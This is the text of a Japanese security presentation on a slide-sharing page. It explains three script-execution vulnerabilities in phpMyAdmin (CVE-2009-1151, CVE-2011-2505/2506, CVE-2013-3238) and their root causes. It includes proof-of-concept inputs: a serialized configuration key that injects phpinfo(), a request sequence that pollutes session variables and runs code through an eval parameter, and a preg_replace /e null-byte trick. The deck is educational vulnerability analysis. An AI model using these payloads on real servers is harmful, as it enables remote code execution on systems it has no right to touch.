phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ

715 Views

July 31, 13

スライド概要

profile-image

徳丸本の中の人 OWASP Japanアドバイザリーボード EGセキュアソリューションズ取締役CTO IPA非常勤職員 YouTubeチャンネル: 徳丸浩のウェブセキュリティ講座 https://j.mp/web-sec-study

シェア

またはPlayer版

埋め込む »CMSなどでJSが使えない場合

(ダウンロード不可)

関連スライド

各ページのテキスト
1.

phpMyAdminにおける スクリプト実行可能な脆弱性3種盛り合わせ HASH コンサルティング株式会社 徳丸 浩

2.

アジェンダ • 今日はphpMyAdminにおける「スクリプト実行可能な脆 弱性」を3種類紹介します – CVE-2009-1151 – CVE-2011-2505 / CVE-2011-2506 – CVE-2013-3238 • まとめ Copyright © 2013 HASH Consulting Corp. 2

3.

はじめに • (サーバーサイド)スクリプト実行可能な脆弱性と いうと… • OSコマンドインジェクション • evalインジェクション • Local File Inclusion (LFI) / Remote File Inclusion(RFI) • スクリプトファイルのアップロード • … • 今回紹介するものはどれでもない Copyright © 2013 HASH Consulting Corp. 3

4.

phpMyAdminとは… Copyright © 2013 HASH Consulting Corp. 4

5.

CVE-2009-1151 Copyright © 2013 HASH Consulting Corp. 5

6.

CVE-2009-1151 http://jvndb.jvn.jp/ja/contents/2009/JVNDB-2009-001443.html 6

7.

セットアップ内容のセーブ Copyright © 2013 HASH Consulting Corp. 7

8.

configurationはシリアライズされたオブジェクト configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"h ost";s:9:"localhost";s:9:"extension";s:5:"mysql";s:1 2:"connect_type";s:3:"tcp";s:8:"compress";b:0;s:9:" auth_type";s:6:"config";s:4:"user";s:4:"root";}}} Copyright © 2013 HASH Consulting Corp. 8

9.
[beta]
configurationからPHPソースが作られる
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:9:"localhost
";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"comp
ress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}

$i++;
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

Array (
[Servers] => Array (
[0] => Array (
[host] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)

Copyright © 2013 HASH Consulting Corp.

9

10.
[beta]
値に「’」を入れると、ちゃんとエスケープされる
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:4:"host";s:11:"localho
st'a";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"c
ompress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}

$i++;
$cfg['Servers'][$i]['host'] = 'localhost¥'a';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

Array (
[Servers] => Array (
[0] => Array (
[host] => localhost'a
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)

Copyright © 2013 HASH Consulting Corp.

10

11.
[beta]
でも、キー側の「’」はエスケープされない ^^;
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:6:"host'a";s:9:"localho
st";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"co
mpress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}

$i++;
$cfg['Servers'][$i]['host'a'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

Array (
[Servers] => Array (
[0] => Array (
[host'a] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
)

Copyright © 2013 HASH Consulting Corp.

11

12.
[beta]
キーにスクリプトを注入可能
configuration=a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:19:"host']=phpinfo();//";s:9:
"localhost";s:9:"extension";s:5:"mysql";s:12:"connect_type";s:3:"tcp";s:8:"
compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"root";}}}
Array (
[Servers] => Array (
[0] => Array (
[host'']=phpinfo();//] => localhost
[extension] => mysql
[connect_type] => tcp
[compress] =>
[auth_type] => config
[user] => root
)
)
$i++;
)
$cfg['Servers'][$i]['host’]=phpinfo();//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysql';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';
Copyright © 2013 HASH Consulting Corp.

12

13.

あーあ、サーバー側でスクリプトが… Copyright © 2013 HASH Consulting Corp. 13

14.

CVE-2011-2505 / CVE-2011-2506 Copyright © 2013 HASH Consulting Corp. 14

15.
[beta]
CVE-2011-2505
• 細工をしたクエリ文字列を通して、セッション変数
を変更できる
if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)
{
parse_str($_SERVER['QUERY_STRING']);
session_write_close();
session_id($session_to_unset); // セッションIDの変更
session_start();
$_SESSION = array();
session_write_close();
session_destroy();
exit;
}
libraries/auth/swekey/swekey.auth.lib.php 266行目以降

Copyright © 2013 HASH Consulting Corp.

15

16.

parse_str 関数 http://php.net/manual/ja/function.parse-str.php 16

17.
[beta]
parse_str 関数の実行例
<?php
session_start();
parse_str('a=xyz&b[x]=p23&_SESSION[user]=yamada');
var_dump($a);
var_dump($b);
var_dump($_SESSION);
【実行結果】
string(3) "xyz"
array(1) {
["x"]=>
string(3) "p23"
}
array(1) {
["user"]=>
string(6) "yamada"
}

Copyright © 2013 HASH Consulting Corp.

17

18.

CVE-2011-2506 http://jvndb.jvn.jp/ja/contents/2011/JVNDB-2011-004722.html 18

19.
[beta]
// servers
if ($cf->getServerCount() > 0) {
$ret .= "/* Servers configuration */$crlf¥$i = 0;" . $crlf . $crlf;
foreach ($c['Servers'] as $id => $server) {
$ret .= '/* Server: ' . strtr($cf->getServerName($id), '*/', '-') . " [$id] */" . $crlf
setup/lib/ConfigGenerator.class.php 38行目

• サーバー名(getServerName())は、コメント記号
をサニタイジングしている
• $idの方はサニタイジングしていない → 脆弱性
• CVE-2011-2505により、$idに攻撃コードが注
入できる
Copyright © 2013 HASH Consulting Corp.

19

20.

exploitの流れ セッションID、トークンの取得など GET /phpmyadmin/setup/index.php セッション変数汚染 GET /phpmyadmin/?_SESSION[ConfigFile][Servers][*/攻撃スクリプト 攻撃コードの埋め込み(ファイルへの保存) POST /phpmyadmin/setup/config.php 攻撃コードの実行 GET /phpmyadmin/config/config.inc.php?eval=攻撃コード Copyright © 2013 HASH Consulting Corp. 20

21.

CVE-2013-3238 Copyright © 2013 HASH Consulting Corp. 21

22.

CVE-2013-3238 http://jvndb.jvn.jp/ja/contents/2013/JVNDB-2013-002490.html 22

23.

テーブルの接頭辞を変更する機能 Copyright © 2013 HASH Consulting Corp. 23

24.

/e¥0 をphpinfo()に変更する操作を実行してみる Copyright © 2013 HASH Consulting Corp. 24

25.

Phpinfo()が実行された ^^; Copyright © 2013 HASH Consulting Corp. 25

26.

攻撃ができる理由 case 'replace_prefix_tbl': $current = $selected[$i]; $newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current); $from_pref = "/e¥0" preg_replace("/^/e¥0/", "phpinfo();", "test"); PHP5.4.3以前では、¥0以降は無視される preg_replace("/^/e", "phpinfo();", "test"); Copyright © 2013 HASH Consulting Corp. 26

27.

/e 修飾子… http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php 27

28.

/e 修飾子…続き http://www.php.net/manual/ja/reference.pcre.pattern.modifiers.php 28

29.

脆弱性が混入した要因 • preg_replaceに渡す正規表現をエスケープして いなかった – 最低限、/ をエスケープする必要がある preg_replace(“/^” . $from_prefix . “/”, … ↓ reg_replace("/^" . preg_quote($from_prefix, '/') . "/", … • えーっと、preg_quoteって、マルチバイト対応 だっけ? – Shift_JIS以外では問題ない? Copyright © 2013 HASH Consulting Corp. 29

30.

まとめ • phpMyAdminのスクリプト実行可能な脆弱性3種 類を紹介しました • うち、2種類は比較的基本的なもの…脆弱性診 断でも見つかる? • Setup用のスクリプトが外部から叩けるという状 況がそもそもおかしい気が… – phpMyAdminが標準的な導入・運用のスタイルを提 供していない? • 脆弱性の入り方は酷いと思うけど、脆弱性って 大抵酷いものだよねw Copyright © 2013 HASH Consulting Corp. 30